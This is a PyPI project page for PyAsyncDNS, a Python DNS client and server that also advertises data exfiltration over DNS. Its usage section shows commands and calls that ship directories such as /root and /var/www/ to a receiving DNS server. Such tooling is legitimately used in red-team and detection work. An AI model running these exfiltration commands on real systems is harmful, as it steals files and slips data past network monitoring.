PyAsyncDNS
Description
This package implements a basic asynchronous DNS client and server with a feature to exfiltrate data through DNS.
Requirements
This package require:
- python3
- python3 Standard Library
Installation
Pip
python3 -m pip install PyAsyncDNS
Git
git clone "https://github.com/mauricelambert/PyAsyncDNS.git"
cd "PyAsyncDNS"
python3 -m pip install .
Wget
wget https://github.com/mauricelambert/PyAsyncDNS/archive/refs/heads/main.zip
unzip main.zip
cd PyAsyncDNS-main
python3 -m pip install .
cURL
curl -O https://github.com/mauricelambert/PyAsyncDNS/archive/refs/heads/main.zip
unzip main.zip
cd PyAsyncDNS-main
python3 -m pip install .
Usages
Command line
PyAsyncDNS # Using CLI package executable
python3 -m PyAsyncDNS # Using python module
python3 PyAsyncDNS.pyz # Using python executable
PyAsyncDNS.exe # Using python Windows executable
PyAsyncDNS resolve example.com
PyAsyncDNS resolve example.com A
PyAsyncDNS resolve example.com AAAA --server 127.0.0.1
PyAsyncDNS resolve example.com MX --server 127.0.0.1 --port 5353
PyAsyncDNS resolve example.com NS --server 127.0.0.1 --port 5353 --udp
PyAsyncDNS resolve example.com TXT --server 127.0.0.1 --port 5353 --tcp
PyAsyncDNS server 127.0.0.1 5353
PyAsyncDNS server 127.0.0.1 5353 --zone zone_example.json
PyAsyncDNS exfiltrator-server 127.0.0.1 53
PyAsyncDNS exfiltration-client 127.0.0.1 53 /root /var/www/
Python script
from PyAsyncDNS import *
from asyncio import run
server = DNSServer(zone={"example.com":{"A":["93.184.216.34"]}}, host='127.0.0.1', port=53) # configure the server
run(server.serve_forever()) # run the DNS service forever
run(query("example.com", "A", '127.0.0.1', 53)) # query IPv4 address for example.com name
run(start_exfiltrator_server('127.0.0.1', 53)) # start server to save exfiltrated files
run(process_directories('/root', "127.0.0.1", 53)) # exfiltrate /root directories through DNS to 127.0.0.1:53 using UDP
Links
- Pypi
- Github
- Documentation datatypes
- Documentation codec
- Documentation client
- Documentation server
- Documentation exfiltrator client
- Documentation exfiltrator server
- Python executable
- Python Windows executable
License
Licensed under the GPL, version 3.
Metadata
Release files for PyAsyncDNS 1.0.0
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | |
|---|---|---|---|
| pyasyncdns-1.0.0.tar.gz | 34.0 kB | Details |
Release files / pyasyncdns-1.0.0.tar.gz
| Download URL | pyasyncdns-1.0.0.tar.gz |
|---|---|
| Size | 34.0 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
379e299887712e67a6f5b02d90b0be07d0c9bcb95ad3542a35a5830acaec079d
|
|
BLAKE2b-256 checksum How to use checksums |
e2ee0a91d8599fb4192af7b7546f76acd56a7534213a9389b2c3ca741ba2b760
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.2.0 CPython/3.13.12
|